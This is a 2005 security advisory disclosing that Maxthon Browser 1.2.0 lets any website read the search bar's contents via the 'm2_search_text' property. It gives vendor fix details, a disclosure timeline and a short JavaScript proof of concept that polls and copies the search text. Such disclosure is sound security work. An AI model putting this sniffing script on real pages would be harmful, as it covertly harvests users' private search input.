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Maxthon Browser Information Disclosure
------------------------------------------------------------------------
SUMMARY
<http://www.maxthon.com/> Maxthon Internet Browser software is a powerful
tabbed browser with a highly customizable interface.
The search bar of Maxthon allow any website to access it's content using
Javascript like it was a plug-ins of the browser.
DETAILS
Vulnerable Systems:
* Maxthon Internet Browser version 1.2.0. Prior versions may be
vulnerable as well
Immune Systems:
* Maxthon Internet Browser version 1.2.1.
Maxthon's API includes a property named "m2_search_text", which allows
plug-ins to interact with the search bar. Any website the user visits can
easily fetch the search bar's data using this property, the same way
plug-ins does.
Proof of Concept:
The following javascript performs the sniffing:
<script>
function sniff() {
try {
s.value=external.m2_search_text;
}
catch(e) {}
}
function body_onload() {
window.setInterval('sniff()',100);
}
</script>
A live demonstation can be found at:
<http://www.raffon.net/advisories/maxthon/searchbarpoc.html>
http://www.raffon.net/advisories/maxthon/searchbarpoc.html
Vendor Status:
The vendor has fixed the problem in version 1.2.1
Disclosure Timeline:
02-Mar-2005: Vendor informed.
03-Mar-2005: Vendor confirmed vulnerability.
24-Mar-2005: Vendor published a fixed version.
25-Mar-2005: Public disclosure.
ADDITIONAL INFORMATION
The information has been provided by <mailto:avivra@gmail.com> Aviv Raff.
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